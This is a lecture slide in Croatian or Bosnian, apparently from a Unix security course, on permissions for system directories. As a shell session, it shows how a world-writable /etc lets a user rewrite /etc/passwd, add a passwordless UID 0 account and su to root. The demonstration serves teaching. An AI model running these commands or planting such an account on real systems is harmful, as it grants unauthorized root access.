Dozvole na sistemskim direktorijima (2)
primjer modificiranja /etc/passwd ako je /etc dozvoljen za pisanje
$ ls -ld / /etc
drwxr-xr-x 15 root 1024 Sep 23 10:16 /
drwxrwxrwx 5 root 7168 Sep 23 13:57 /etc
$ cd /etc
$ cp passwd temp
$ echo “bob::0:0:Superuser!:/:” >> temp
$ mv temp passwd
$su bob
#
?
Previous slide
Next slide
Back to first slide
View graphic version